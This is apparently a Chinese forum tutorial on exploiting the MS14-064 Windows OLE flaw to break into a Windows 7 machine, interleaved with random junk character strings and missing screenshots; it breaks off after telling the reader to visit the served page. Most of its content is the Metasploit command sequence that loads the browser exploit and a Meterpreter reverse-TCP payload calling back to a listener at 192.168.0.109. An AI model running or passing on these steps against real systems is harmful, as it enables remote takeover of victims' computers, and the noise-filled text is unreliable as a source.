MS14-064 漏洞测试入侵win7

admin

% V, ?* _" h! | p$ L 我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示 3 h3 B- Z9 d# h

开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图： 8 {; M {! L3 U9 x/ k' U

! P, ]! k# d' g

: \* j: ?4 W! e' P 然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp

& {0 ^' g$ |7 }+ l6 K5 @, S6 _

            set AllowPowershellPrompt true ' h' O; T# }+ ?3 |- b7 a7 w' T

            Set LHOST 192.168.0.109 ' m) x0 n/ }7 @

% }' [+ G! w0 F8 ]+ H

            set SRVHOST 192.168.0.109 4 [$ T0 Z1 X% B6 ]

. `4 l9 S: G) w N2 S( e- {: @ l

            Set uripath share + |& u7 g% ^$ H `+ n0 D5 a

            Set srvport 80 . g# D7 |, m+ T& {9 F8 N

7 e$ \2 \: U6 [* {; A) Y9 O

, T6 u( S! t& e( E8 S+ T0 f: H, ~6 C   2 X5 `$ i" U5 X8 b( {

0 g2 H( M( o2 S, G, ]/ x0 ~5 \2 q1 j

  ; f0 l, T- k! |

! S$ s$ w$ n6 ~6 S7 R( O

  2 K) o2 u/ @# G8 F2 o: R% s. ]

: R% ~+ \$ F6 h. ~: n. I1 z

& b5 _' a0 m: V' T+ G4 `  

9 j" U0 @ X# p/ }5 R

* v3 H8 p" i- q7 F) H q$ C B   ! P" G4 g; v4 |

7 n8 V; I# \. O1 o) e }$ f

- a `. D2 l7 d! z, r 下面我们来访问本地地址如图：

 

2 {* f K+ H# |6 T, V- R# E

 

4 M; v! V+ t' b. d3 e( A

# ~# a* B. U* ?1 }' r